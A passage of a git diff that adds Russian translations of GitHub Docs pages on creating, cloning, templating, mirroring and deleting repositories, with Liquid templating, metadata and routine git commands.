%}за пределами предприятия{% else %}, которые не являются сотрудниками какого-либо отдела{% endif %}, включая внешних участников совместной работы в репозиториях отделов. Дополнительные сведения см. в разделах [Роли в организации](/github/setting-up-and-managing-your-enterprise/roles-in-an-enterprise#enterprise-members) и [Роли в репозитории организации](/organizations/managing-access-to-your-organizations-repositories/repository-roles-for-an-organization). + +{% ifversion ghes %} {% note %} + +**Примечание**. Пользователь должен работать в отделе, чтобы быть сотрудником предприятия и иметь доступ к внутренним репозиториям. Если пользователь в {% data variables.location.product_location %} не является членом какой-либо организации, он не будет иметь доступа к внутренним репозиториям. + +{% endnote %} {% endif %} + +{% data reusables.repositories.internal-repo-default %} + +{% ifversion ghec %}Если ваше предприятие не использует {% data variables.product.prodname_emus %}, сотрудники{% else %}Сотрудники{% endif %} предприятия могут создать вилку любого внутреннего репозитория, принадлежащего организации, на предприятии. Репозиторий с созданной вилкой будет принадлежать личной учетной записи и будет частным. Когда пользователь покидает отдел предприятия, то его вилки внутренних репозиториев удаляются автоматически. + +{% ifversion ghec %} {% note %} + +**Примечание.** {% data variables.enterprise.prodname_managed_users_caps %} не может создать вилку внутренних репозиториев. Дополнительные сведения см. в разделе [Сведения о {% data variables.product.prodname_emus %}](/admin/identity-and-access-management/using-enterprise-managed-users-for-iam/about-enterprise-managed-users#abilities-and-restrictions-of-managed-user-accounts). + +{% endnote %} {% endif %} {% endif %} + +## Ограничения на просмотр содержимого и различий в репозитории + +Некоторые типы ресурсов могут быть довольно большими, требуя сложной обработки на {% data variables.product.product_name %}. Для обеспечения выполнения запросов в разумные сроки установлены ограничения. + +Большинство приведенных ниже ограничений относятся как к {% data variables.product.product_name %}, так и к API. + +### Ограничения на текст + +Текстовые файлы размером более **512 КБ** всегда отображаются как обычный текст. В коде не выделяется синтаксис, а текстовые файлы не преобразуются в HTML (например, Markdown, AsciiDoc *и т. д.* ). + +Текстовые файлы размером более **5 МБ** доступны только через необработанные URL-адреса, которые предоставляются через `{% data variables.product.raw_github_com %}`, например `https://{% data variables.product.raw_github_com %}/octocat/Spoon-Knife/master/index.html`. Чтобы получить необработанный URL-адрес файла, нажмите кнопку **Необработанный**. + +### Ограничения на различия + +Так как различия могут стать очень большими, на различия в фиксациях, запросах на вытягивание и представлениях сравнения налагаются указанные ниже ограничения. + +- В запросе на вытягивание общий объем необработанных данных различий не может превышать *20 000 загружаемых строк* или *1 МБ*. +- Объем необработанных данных различий в одном файле не может превышать *20 000 загружаемых строк* или *500 КБ*. Для одного файла автоматически загружаются *четыреста строк* или *20 КБ*. +- Максимальное количество файлов в одном различии ограничено *300*. +- Максимальное число отрисовываемых файлов (например, изображений, PDF-файлов и файлов GeoJSON) в одном различии ограничено *25*. + +Некоторые части ограниченного различия могут отображаться, но всё свыше ограничения не отображается. + +### Ограничения на списки фиксаций + +На страницах представлений сравнения и запросов на вытягивание отображается список фиксаций между версиями `base` и `head`. Эти списки ограничены **250** фиксациями. Если это ограничение превышено, в примечании сообщается о наличии дополнительных фиксаций (но они не отображаются). + +## Дополнительные материалы + +- [Сведения о вилках](/github/collaborating-with-pull-requests/working-with-forks/about-forks) +- [Совместная работа над проблемами и запросами на вытягивание](/categories/collaborating-with-issues-and-pull-requests) +- [Управление работой над {% data variables.product.prodname_dotcom %}](/categories/managing-your-work-on-github/) +- [Администрирование репозитория](/categories/administering-a-repository) +- [Визуализация данных репозитория с помощью графов](/categories/visualizing-repository-data-with-graphs/) +- [Сведения о вики-сайтах](/communities/documenting-your-project-with-wikis/about-wikis) +- [Глоссарий {% data variables.product.prodname_dotcom %}](/articles/github-glossary) diff --git a/translations/ru-RU/content/repositories/creating-and-managing-repositories/best-practices-for-repositories.md b/translations/ru-RU/content/repositories/creating-and-managing-repositories/best-practices-for-repositories.md new file mode 100644 index 000000000000..b0b5fea1185a --- /dev/null +++ b/translations/ru-RU/content/repositories/creating-and-managing-repositories/best-practices-for-repositories.md @@ -0,0 +1,35 @@ +--- +title: Рекомендации для репозиториев +shortTitle: Best practices +intro: 'Узнайте, как использовать репозитории наиболее эффективно.' +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +topics: + - Repositories +ms.openlocfilehash: f14bef158431c8251f26a4d917f4207d8e7dbc8a +ms.sourcegitcommit: c2aa10a61db44ee111c09565b6114dd5c97b6e2e +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 11/14/2022 +ms.locfileid: '148163477' +--- +## Создание файла сведений + +Чтобы облегчить пользователям понимание и навигацию по вашей работе, рекомендуется создать файл сведений для каждого репозитория. + +{% data reusables.repositories.about-READMEs %} Дополнительные сведения см. в разделе [Сведения о библиотеках READM.](/repositories/managing-your-repositorys-settings-and-features/customizing-your-repository/about-readmes) + +## Предпочтение ветвлениям вместо разветвления + +Чтобы упростить совместную работу, рекомендуется, чтобы обычные участники совместной работы работали из одного репозитория, создавая запросы на вытягивание между ветвями, а не между репозиториями. Вилка лучше всего подходит для принятия вкладов от людей, которые не связаны с проектом, например участников с открытым кодом. + +Для поддержания качества важных ветвей, таких как `main`, при использовании рабочего процесса ветвления можно использовать защищенные ветви с обязательными проверками состояния и проверками запросов на вытягивание. Дополнительные сведения см. в разделе [Сведения о защищенных ветвях](/repositories/configuring-branches-and-merges-in-your-repository/defining-the-mergeability-of-pull-requests/about-protected-branches). + +## Использование {% data variables.large_files.product_name_long %} + +Для оптимизации производительности {% data variables.location.product_location %} ограничивает размеры файлов, разрешенных в репозиториях. Дополнительные сведения см. в разделе [Сведения о больших файлах в {% data variables.product.prodname_dotcom %}](/repositories/working-with-files/managing-large-files/about-large-files-on-github). + +Для отслеживания больших файлов в репозитории Git рекомендуется использовать {% data variables.large_files.product_name_long %} ({% data variables.large_files.product_name_short %}). Дополнительные сведения см. в разделе [Сведения о {% data variables.large_files.product_name_long %}](/repositories/working-with-files/managing-large-files/about-git-large-file-storage). diff --git a/translations/ru-RU/content/repositories/creating-and-managing-repositories/cloning-a-repository.md b/translations/ru-RU/content/repositories/creating-and-managing-repositories/cloning-a-repository.md new file mode 100644 index 000000000000..0fd1cafda3f8 --- /dev/null +++ b/translations/ru-RU/content/repositories/creating-and-managing-repositories/cloning-a-repository.md @@ -0,0 +1,97 @@ +--- +title: Cloning a repository +intro: 'When you create a repository on {% data variables.location.product_location %}, it exists as a remote repository. You can clone your repository to create a local copy on your computer and sync between the two locations.' +redirect_from: + - /articles/cloning-a-repository + - /articles/cloning-a-repository-from-github + - /github/creating-cloning-and-archiving-repositories/cloning-a-repository + - /github/creating-cloning-and-archiving-repositories/cloning-a-repository-from-github/cloning-a-repository +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +topics: + - Repositories +--- +## About cloning a repository + +You can clone a repository from {% data variables.location.product_location %} to your local computer to make it easier to fix merge conflicts, add or remove files, and push larger commits. When you clone a repository, you copy the repository from {% data variables.location.product_location %} to your local machine. + +Cloning a repository pulls down a full copy of all the repository data that {% data variables.location.product_location %} has at that point in time, including all versions of every file and folder for the project. You can push your changes to the remote repository on {% data variables.location.product_location %}, or pull other people's changes from {% data variables.location.product_location %}. For more information, see "[Using Git](/github/getting-started-with-github/using-git)". + +You can clone your existing repository or clone another person's existing repository to contribute to a project. + +## Cloning a repository + +{% webui %} + +{% data reusables.repositories.navigate-to-repo %} +{% data reusables.repositories.copy-clone-url %} +{% data reusables.command_line.open_the_multi_os_terminal %} +{% data reusables.command_line.change-current-directory-clone %} +{% data reusables.command_line.git-clone-url %} +{% data reusables.command_line.local-clone-created %} + +{% endwebui %} + +{% cli %} + +{% data reusables.cli.cli-learn-more %} + +To clone a repository locally, use the `repo clone` subcommand. Replace the `repository` parameter with the repository name. For example, `octo-org/octo-repo`, `monalisa/octo-repo`, or `octo-repo`. If the `OWNER/` portion of the `OWNER/REPO` repository argument is omitted, it defaults to the name of the authenticating user. + +```shell +gh repo clone REPOSITORY +``` + +You can also use the GitHub URL to clone a repository. + +```shell +gh repo clone https://github.com/PATH-TO/REPOSITORY +``` + +{% endcli %} + +{% desktop %} + +{% data reusables.repositories.navigate-to-repo %} +{% data reusables.repositories.open-with-github-desktop %} +4. Follow the prompts in {% data variables.product.prodname_desktop %} to complete the clone. + +For more information, see "[Cloning a repository from {% data variables.product.prodname_dotcom %} to {% data variables.product.prodname_desktop %}](/desktop/guides/contributing-to-projects/cloning-a-repository-from-github-to-github-desktop/)." + +{% enddesktop %} + +## Cloning an empty repository + +An empty repository contains no files. It's often made if you don't initialize the repository with a README when creating it. + +{% data reusables.repositories.navigate-to-repo %} +2. To clone your repository using the command line using HTTPS, under "Quick setup", click {% octicon "clippy" aria-label="The clipboard icon" %}. To clone the repository using an SSH key, including a certificate issued by your organization's SSH certificate authority, click **SSH**, then click {% octicon "clippy" aria-label="The clipboard icon" %}. + ![Empty repository clone URL button](/assets/images/help/repository/empty-https-url-clone-button.png) + + Alternatively, to clone your repository in Desktop, click {% octicon "desktop-download" aria-label="The desktop download button" %} **Set up in Desktop** and follow the prompts to complete the clone. + ![Empty repository clone desktop button](/assets/images/help/repository/empty-desktop-clone-button.png) + +{% data reusables.command_line.open_the_multi_os_terminal %} +{% data reusables.command_line.change-current-directory-clone %} +{% data reusables.command_line.git-clone-url %} +{% data reusables.command_line.local-clone-created %} + +## Troubleshooting cloning errors + +When cloning a repository it's possible that you might encounter some errors. + +If you're unable to clone a repository, check that: + +- You can connect using HTTPS. For more information, see "[HTTPS cloning errors](/github/creating-cloning-and-archiving-repositories/https-cloning-errors)." +- You have permission to access the repository you want to clone. For more information, see "[Error: Repository not found](/github/creating-cloning-and-archiving-repositories/error-repository-not-found)." +- The default branch you want to clone still exists. For more information, see "[Error: Remote HEAD refers to nonexistent ref, unable to checkout](/repositories/creating-and-managing-repositories/troubleshooting-cloning-errors#error-remote-head-refers-to-nonexistent-ref-unable-to-checkout)." + +{% ifversion fpt or ghec %} + +## Further reading + +- "[Troubleshooting connectivity problems](/articles/troubleshooting-connectivity-problems)" +{% endif %} diff --git a/translations/ru-RU/content/repositories/creating-and-managing-repositories/creating-a-new-repository.md b/translations/ru-RU/content/repositories/creating-and-managing-repositories/creating-a-new-repository.md new file mode 100644 index 000000000000..4bfb65b07e48 --- /dev/null +++ b/translations/ru-RU/content/repositories/creating-and-managing-repositories/creating-a-new-repository.md @@ -0,0 +1,58 @@ +--- +title: Создание репозитория +intro: 'Вы можете создать новый репозиторий в личной учетной записи или в любой организации, где у вас имеются достаточные разрешения.' +redirect_from: + - /creating-a-repo + - /articles/creating-a-repository-in-an-organization + - /articles/creating-a-new-organization-repository + - /articles/creating-a-new-repository + - /articles/creating-an-internal-repository + - /github/setting-up-and-managing-your-enterprise-account/creating-an-internal-repository + - /github/creating-cloning-and-archiving-repositories/creating-an-internal-repository + - /github/creating-cloning-and-archiving-repositories/creating-a-new-repository + - /github/creating-cloning-and-archiving-repositories/creating-a-repository-on-github/creating-a-new-repository +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +topics: + - Repositories +ms.openlocfilehash: c399ac1a0881fe593087dada707296b226a5d9d8 +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: '145136922' +--- +{% tip %} + +**Совет.** Владельцы могут ограничивать разрешения на создание репозиториев в организации. Дополнительные сведения см. в разделе [Ограничение создания репозиториев в организации](/articles/restricting-repository-creation-in-your-organization). + +{% endtip %} + +{% tip %} + +**Совет**. Репозиторий легко можно создать, используя {% data variables.product.prodname_cli %}. Дополнительные сведения см. в разделе [`gh repo create`](https://cli.github.com/manual/gh_repo_create) в документации по {% data variables.product.prodname_cli %}. + +{% endtip %} + +{% data reusables.repositories.create_new %} +2. Если вы хотите создать репозиторий со структурой каталогов и файлами существующего репозитория, щелкните раскрывающийся список **Выберите шаблон** и выберите репозиторий шаблонов. Вы увидите репозитории шаблонов, принадлежащие вам и организациям, в которых вы являетесь участником или которые вы ранее использовали. Дополнительные сведения см. в разделе [Создание репозитория из шаблона](/articles/creating-a-repository-from-a-template). + ![Раскрывающееся меню шаблонов](/assets/images/help/repository/template-drop-down.png) +3. Если вы решили использовать шаблон, то, чтобы включить в него структуру каталогов и файлы из всех ветвей, а не только ветвь по умолчанию, установите флажок **Включить все ветви**. + ![Флажок "Включить все ветви"](/assets/images/help/repository/include-all-branches.png) +3. В раскрывающемся меню "Владелец" выберите учетную запись, в которой вы хотите создать репозиторий. + ![Раскрывающееся меню "Владелец"](/assets/images/help/repository/create-repository-owner.png) {% data reusables.repositories.repo-name %} {% data reusables.repositories.choose-repo-visibility %} +6. Если вы не используете шаблон, то для предварительного заполнения репозитория можно использовать несколько необязательных элементов. Если вы импортируете существующий репозиторий в {% data variables.product.product_name %}, не выбирайте ни один из этих параметров, так как может возникнуть конфликт слияния. Добавлять или создавать новые файлы можно через пользовательский интерфейс; кроме того, новые файлы можно добавить позднее с помощью командной строки. Дополнительные сведения см. в разделах [Импорт репозитория Git с помощью командной строки](/articles/importing-a-git-repository-using-the-command-line/), [Добавление файла в репозиторий](/repositories/working-with-files/managing-files/adding-a-file-to-a-repository#adding-a-file-to-a-repository-using-the-command-line) и [Устранение конфликтов слияния](/articles/addressing-merge-conflicts/). + - Вы можете создать файл README — документ с описанием вашего проекта. Дополнительные сведения см. в статье [О файлах README](/articles/about-readmes/). + - Вы можете создать файл *GITIGNORE* — набор правил пропуска. Дополнительные сведения см. в разделе [Пропуск файлов](/github/getting-started-with-github/ignoring-files).{% ifversion fpt or ghec %} + - Вы можете добавить лицензию на программное обеспечение для проекта. Дополнительные сведения см. в разделе [Лицензирование репозитория](/articles/licensing-a-repository).{% endif %} {% data reusables.repositories.select-marketplace-apps %} {% data reusables.repositories.create-repo %} {% ifversion fpt or ghec %} +9. В нижней части итоговой страницы "Быстрая настройка" в разделе "Импорт кода из старого репозитория" можно импортировать проект в новый репозиторий. Для этого нажмите **Импорт кода**. +{% endif %} + +## Дополнительные материалы + +- [Управление доступом к репозиториям вашей организации](/articles/managing-access-to-your-organization-s-repositories) +- [Руководства по открытому коду](https://opensource.guide/){% ifversion fpt or ghec %} +- [{% data variables.product.prodname_learning %}]({% data variables.product.prodname_learning_link %}){% endif %} diff --git a/translations/ru-RU/content/repositories/creating-and-managing-repositories/creating-a-repository-from-a-template.md b/translations/ru-RU/content/repositories/creating-and-managing-repositories/creating-a-repository-from-a-template.md new file mode 100644 index 000000000000..df8ca30b7f68 --- /dev/null +++ b/translations/ru-RU/content/repositories/creating-and-managing-repositories/creating-a-repository-from-a-template.md @@ -0,0 +1,58 @@ +--- +title: Создание репозитория из шаблона +intro: 'Вы можете создать новый репозиторий с той же структурой каталогов и файлами, что и в существующем репозитории.' +redirect_from: + - /articles/creating-a-repository-from-a-template + - /github/creating-cloning-and-archiving-repositories/creating-a-repository-from-a-template + - /github/creating-cloning-and-archiving-repositories/creating-a-repository-on-github/creating-a-repository-from-a-template +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +topics: + - Repositories +shortTitle: Create from a template +ms.openlocfilehash: 16d124431426e19cf95c768e8a4cdaa5f4da2e17 +ms.sourcegitcommit: e8c012864f13f9146e53fcb0699e2928c949ffa8 +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 11/09/2022 +ms.locfileid: '148160247' +--- +## Сведения о шаблонах репозитория + +Любой пользователь с разрешениями на чтение в репозитории шаблонов может создать репозиторий из этого шаблона. Дополнительные сведения см. в разделе [Создание репозитория шаблонов](/articles/creating-a-template-repository). + +{% tip %} + +**Совет**. Репозиторий легко можно создать из шаблона, используя {% data variables.product.prodname_cli %}. Дополнительные сведения см. в разделе [`gh repo create`](https://cli.github.com/manual/gh_repo_create) в документации по {% data variables.product.prodname_cli %}. + +{% endtip %} + +Можно включить структуру каталогов и файлы только из ветви репозитория шаблонов по умолчанию или включить все ветви. Ветви, созданные на основе шаблона, имеют несвязанные журналы, поэтому нельзя создавать запросы на вытягивание или выполнять слияние между ветвями. + +Создание репозитория из шаблона аналогично созданию вилки репозитория, но существуют важные различия. +- Новая вилка включает весь журнал фиксаций родительского репозитория, а репозиторий, созданный из шаблона, начинается с одной фиксации. +- Фиксации в вилке не отображаются в графе вкладов, а фиксации в репозитории, созданном из шаблона, отображаются в графе вкладов. +- Вилка может быть временным способом внесения кода в существующий проект, а при создании репозитория из шаблона быстро запускается новый проект. + +Дополнительную информацию о вилках см. в разделе [Сведения о вилках](/pull-requests/collaborating-with-pull-requests/working-with-forks/about-forks). + +## Создание репозитория из шаблона + +{% data reusables.repositories.navigate-to-repo %} +1. Над списком файлов щелкните **Использовать этот шаблон**. +{% ifversion fpt or ghec %} +1. Выберите **Создать репозиторий**. + + ![Кнопка "Использовать этот шаблон"](/assets/images/help/repository/use-this-template-button.png) + + {% note %} + + **Примечание:** Кроме того, можно открыть шаблон в codespace и позже опубликовать свою работу в новом репозитории. Дополнительные сведения см. в разделе [Создание codespace на основе шаблона](/codespaces/developing-in-codespaces/creating-a-codespace-from-a-template). + + {% endnote %} {% endif %} {% data reusables.repositories.owner-drop-down %} {% data reusables.repositories.repo-name %} {% data reusables.repositories.choose-repo-visibility %} +1. Если вы решили использовать шаблон, то для того, чтобы включить в него структуру каталогов и файлы изо всех ветвей, а не только ветви по умолчанию, установите флажок **Включить все ветви**. + ![Флажок "Включить все ветви"](/assets/images/help/repository/include-all-branches.png) {% data reusables.repositories.select-marketplace-apps %} +8. Щелкните **Create repository from template** (Создание репозитория из шаблона). diff --git a/translations/ru-RU/content/repositories/creating-and-managing-repositories/creating-a-template-repository.md b/translations/ru-RU/content/repositories/creating-and-managing-repositories/creating-a-template-repository.md new file mode 100644 index 000000000000..06e9e960d4c6 --- /dev/null +++ b/translations/ru-RU/content/repositories/creating-and-managing-repositories/creating-a-template-repository.md @@ -0,0 +1,36 @@ +--- +title: Создание репозитория шаблонов +intro: 'Вы можете сделать существующий репозиторий шаблоном, чтобы и вы, и другие пользователи могли создавать новые репозитории с той же структурой каталогов, ветвями и файлами.' +permissions: Anyone with admin permissions to a repository can make the repository a template. +redirect_from: + - /articles/creating-a-template-repository + - /github/creating-cloning-and-archiving-repositories/creating-a-template-repository + - /github/creating-cloning-and-archiving-repositories/creating-a-repository-on-github/creating-a-template-repository +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +topics: + - Repositories +shortTitle: Create a template repo +ms.openlocfilehash: 1ae0c562f1d92e8184ae749199f609bb223748d4 +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: '145136916' +--- +{% note %} + +**Примечание.** Репозиторий шаблонов не может содержать файлы, хранящиеся с помощью {% data variables.large_files.product_name_short %}. + +{% endnote %} + +Чтобы создать репозиторий шаблонов, необходимо создать репозиторий, а затем сделать его шаблоном. Дополнительные сведения о создании репозитория см. в разделе [Создание репозитория](/articles/creating-a-new-repository). + +После создания шаблона репозитория любой пользователь с доступом к репозиторию может создать новый репозиторий с той же структурой каталогов и файлами, что и ветвь по умолчанию. Они также могут включить все остальные ветви в репозиторий. Ветви, созданные на основе шаблона, имеют несвязанные журналы, поэтому нельзя создавать запросы на вытягивание или объединять их между ветвями. Дополнительные сведения см. в разделе [Создание репозитория из шаблона](/articles/creating-a-repository-from-a-template). + +{% data reusables.repositories.navigate-to-repo %} {% data reusables.repositories.sidebar-settings %} +1. Выберите **Репозиторий шаблонов**. + ![Флажок для создания шаблона из репозитория](/assets/images/help/repository/template-repository-checkbox.png) diff --git a/translations/ru-RU/content/repositories/creating-and-managing-repositories/creating-an-issues-only-repository.md b/translations/ru-RU/content/repositories/creating-and-managing-repositories/creating-an-issues-only-repository.md new file mode 100644 index 000000000000..1853068c1531 --- /dev/null +++ b/translations/ru-RU/content/repositories/creating-and-managing-repositories/creating-an-issues-only-repository.md @@ -0,0 +1,32 @@ +--- +title: Создание репозитория только для проблем +intro: '{% data variables.product.product_name %} не предоставляет разрешения для доступа только к проблемам, однако это можно сделать с помощью второго репозитория, который содержит только проблемы.' +redirect_from: + - /articles/issues-only-access-permissions + - /articles/is-there-issues-only-access-to-organization-repositories + - /articles/creating-an-issues-only-repository + - /github/creating-cloning-and-archiving-repositories/creating-an-issues-only-repository + - /github/creating-cloning-and-archiving-repositories/creating-a-repository-on-github/creating-an-issues-only-repository +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +topics: + - Repositories +shortTitle: Issues-only repository +ms.openlocfilehash: 76450c6d3bddd02ab3e389b35e6ce67d01ffd771 +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: '145136910' +--- +1. Создайте **частный** репозиторий для размещения исходного кода из проекта. +2. Создайте второй репозиторий с разрешениями, необходимыми для размещения средства отслеживания проблем. +3. Добавьте файл README в репозиторий проблем с описанием назначения этого репозитория и привязкой к разделу проблем. +4. Настройте участников совместной работы или команды, чтобы предоставить доступ к нужным репозиториям. + +Пользователи с доступом на запись могут ссылаться на проблемы в репозиториях и закрывать их, но пользователи без необходимых разрешений будут видеть только ссылки с минимальными сведениями. + +Например, если вы отправляете фиксацию в ветвь по умолчанию частного репозитория с сообщением `Fixes organization/public-repo#12`, проблема будет закрыта, но только пользователи с соответствующими разрешениями увидят ссылку между репозиториями, указывающую на фиксацию, которая закрыла проблему. Без разрешений ссылка по-прежнему будет отображаться, но без подробных сведений. diff --git a/translations/ru-RU/content/repositories/creating-and-managing-repositories/deleting-a-repository.md b/translations/ru-RU/content/repositories/creating-and-managing-repositories/deleting-a-repository.md new file mode 100644 index 000000000000..f9f2013c0c68 --- /dev/null +++ b/translations/ru-RU/content/repositories/creating-and-managing-repositories/deleting-a-repository.md @@ -0,0 +1,40 @@ +--- +title: Deleting a repository +intro: You can delete any repository or fork if you're either an organization owner or have admin permissions for the repository or fork. Deleting a forked repository does not delete the upstream repository. +redirect_from: + - /delete-a-repo + - /deleting-a-repo + - /articles/deleting-a-repository + - /github/administering-a-repository/deleting-a-repository + - /github/administering-a-repository/managing-repository-settings/deleting-a-repository +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +topics: + - Repositories +--- +{% data reusables.organizations.owners-and-admins-can %} delete an organization repository. If **Allow members to delete or transfer repositories for this organization** has been disabled, only organization owners can delete organization repositories. {% data reusables.organizations.new-repo-permissions-more-info %} + +{% ifversion not ghae %}Deleting a public repository will not delete any forks of the repository.{% endif %} + +{% warning %} + +**Warnings**: + +- Deleting a repository will **permanently** delete release attachments and team permissions. This action **cannot** be undone. +- Deleting a private{% ifversion ghes or ghec or ghae %} or internal{% endif %} repository will delete all forks of the repository. + +{% endwarning %} + +Some deleted repositories can be restored within 90 days of deletion. {% ifversion ghes or ghae %}Your site administrator may be able to restore a deleted repository for you. For more information, see "[Restoring a deleted repository](/admin/user-management/managing-repositories-in-your-enterprise/restoring-a-deleted-repository)." {% else %}For more information, see "[Restoring a deleted repository](/articles/restoring-a-deleted-repository)."{% endif %} + +{% data reusables.repositories.navigate-to-repo %} +{% data reusables.repositories.sidebar-settings %} +2. Under Danger Zone, click **Delete this repository**. + ![Repository deletion button](/assets/images/help/repository/repo-delete.png) +3. **Read the warnings**. +4. To verify that you're deleting the correct repository, type the name of the repository you want to delete. + ![Deletion labeling](/assets/images/help/repository/repo-delete-confirmation.png) +5. Click **I understand the consequences, delete this repository**. diff --git a/translations/ru-RU/content/repositories/creating-and-managing-repositories/duplicating-a-repository.md b/translations/ru-RU/content/repositories/creating-and-managing-repositories/duplicating-a-repository.md new file mode 100644 index 000000000000..232d18ac6d85 --- /dev/null +++ b/translations/ru-RU/content/repositories/creating-and-managing-repositories/duplicating-a-repository.md @@ -0,0 +1,110 @@ +--- +title: Дублирование репозиториев +intro: 'Чтобы сохранить зеркало репозитория без создания вилки, можно выполнить специальную команду клонирования, а затем зеркальную передачу данных в новый репозиторий.' +redirect_from: + - /articles/duplicating-a-repo + - /articles/duplicating-a-repository + - /github/creating-cloning-and-archiving-repositories/duplicating-a-repository + - /github/creating-cloning-and-archiving-repositories/creating-a-repository-on-github/duplicating-a-repository +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +topics: + - Repositories +ms.openlocfilehash: 4c893597918cb4837e88d13aa6a51b769ab13dd1 +ms.sourcegitcommit: 938ec7898dddd5da5481ad32809d68e4127e1948 +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 11/07/2022 +ms.locfileid: '148135489' +--- +{% ifversion fpt or ghec %} + +{% note %} + +**Примечание.** Если у вас есть проект, размещенный в другой системе управления версиями, можно автоматически импортировать проект в {% data variables.product.prodname_dotcom %} с помощью средства импортирования {% data variables.product.prodname_dotcom %} Importer. Дополнительную информацию см. в разделе [Сведения о средстве импортирования {% data variables.product.prodname_dotcom %} Importer](/get-started/importing-your-projects-to-github/importing-source-code-to-github/about-github-importer). + +{% endnote %} + +{% endif %} + +Перед отправкой исходного репозитория в новую копию или _зеркальное_ отображение репозитория необходимо [создать новый репозиторий](/articles/creating-a-new-repository) на {% data variables.location.product_location %}. В приведенных ниже примерах `exampleuser/new-repository` или `exampleuser/mirrored` — это зеркала. + +## Зеркало репозитория + +{% data reusables.command_line.open_the_multi_os_terminal %} +2. Создайте "чистый" клон репозитория. + ```shell + $ git clone --bare https://{% data variables.command_line.codeblock %}/EXAMPLE-USER/OLD-REPOSITORY.git + ``` +3. Отправьте зеркало в новый репозиторий. + ```shell + $ cd OLD-REPOSITORY.git + $ git push --mirror https://{% data variables.command_line.codeblock %}/EXAMPLE-USER/NEW-REPOSITORY.git + ``` +4. Удалите временный локальный репозиторий, созданный ранее. + ```shell + $ cd .. + $ rm -rf OLD-REPOSITORY.git + ``` + +## Зеркало репозитория, содержащего объекты {% data variables.large_files.product_name_long %} + +{% data reusables.command_line.open_the_multi_os_terminal %} +2. Создайте "чистый" клон репозитория. Замените пример имени пользователя на имя пользователя или организации, которым принадлежит репозиторий, и замените пример имени репозитория на имя репозитория, который нужно дублировать. + ```shell + $ git clone --bare https://{% data variables.command_line.codeblock %}/EXAMPLE-USER/OLD-REPOSITORY.git + ``` +3. Перейдите к репозиторию, который вы только что клонировали. + ```shell + $ cd OLD-REPOSITORY.git + ``` +4. Извлеките объекты {% data variables.large_files.product_name_long %} репозитория. + ```shell + $ git lfs fetch --all + ``` +5. Отправьте зеркало в новый репозиторий. + ```shell + $ git push --mirror https://{% data variables.command_line.codeblock %}/EXAMPLE-USER/NEW-REPOSITORY.git + ``` +6. Отправьте объекты {% data variables.large_files.product_name_long %} репозитория в зеркало. + ```shell + $ git lfs push --all https://github.com/EXAMPLE-USER/NEW-REPOSITORY.git + ``` +7. Удалите временный локальный репозиторий, созданный ранее. + ```shell + $ cd .. + $ rm -rf OLD-REPOSITORY.git + ``` + +## Зеркало репозитория в другом расположении + +Если вы хотите отобразить репозиторий в другое расположение, а также получать обновления из исходного, можно клонировать зеркало и периодически отправлять изменения. + +{% data reusables.command_line.open_the_multi_os_terminal %} +2. Создайте "чистый" зеркальный клон репозитория. + ```shell + $ git clone --mirror https://{% data variables.command_line.codeblock %}/EXAMPLE-USER/REPOSITORY-TO-MIRROR.git + ``` +3. Задайте вашему зеркалу расположение для отправки. + ```shell + $ cd REPOSITORY-TO-MIRROR + $ git remote set-url --push origin https://{% data variables.command_line.codeblock %}/EXAMPLE-USER/MIRRORED + ``` +Как и в случае с "чистым" клоном, зеркальный содержит все удаленные ветви и теги, но все локальные ссылки будут перезаписаны при каждом извлечении, поэтому он всегда будет совпадать с исходным репозиторием. Задание URL-адреса для отправок упрощает отправку в зеркало. + +4. Чтобы обновить зеркало, получите обновления и отправьте их. + ```shell + $ git fetch -p origin + $ git push --mirror + ``` +{% ifversion fpt or ghec %} +## Дополнительные материалы + +* [Отправка изменений на GitHub](/desktop/contributing-and-collaborating-using-github-desktop/making-changes-in-a-branch/pushing-changes-to-github#pushing-changes-to-github) +* [Сведения о хранилище больших файлов Git и GitHub Desktop](/desktop/getting-started-with-github-desktop/about-git-large-file-storage-and-github-desktop) +* [О GitHub Importer](/get-started/importing-your-projects-to-github/importing-source-code-to-github/about-github-importer) + +{% endif %} diff --git a/translations/ru-RU/content/repositories/creating-and-managing-repositories/index.md b/translations/ru-RU/content/repositories/creating-and-managing-repositories/index.md new file mode 100644 index 000000000000..d54cf3ffc3b9 --- /dev/null +++ b/translations/ru-RU/content/repositories/creating-and-managing-repositories/index.md @@ -0,0 +1,36 @@ +--- +title: Создание репозиториев и управление ими +intro: 'Вы можете создать репозиторий в {% data variables.product.product_name %} для хранения и совместной работы над файлами проекта, а затем управлять именем и расположением репозитория.' +redirect_from: + - /articles/creating-a-repository-on-github + - /github/creating-cloning-and-archiving-repositories/creating-a-repository-on-github +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +topics: + - Repositories +children: + - /about-repositories + - /best-practices-for-repositories + - /creating-a-new-repository + - /creating-a-repository-from-a-template + - /creating-a-template-repository + - /creating-an-issues-only-repository + - /duplicating-a-repository + - /cloning-a-repository + - /troubleshooting-cloning-errors + - /renaming-a-repository + - /transferring-a-repository + - /deleting-a-repository + - /restoring-a-deleted-repository +shortTitle: Create & manage repositories +ms.openlocfilehash: 06a0bfa43ca81b6b1feb2e796cacac051fb11749 +ms.sourcegitcommit: 0a6e3eee6eea9b1e445aea1e4461d64cf6b63218 +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 11/14/2022 +ms.locfileid: '148163568' +--- + 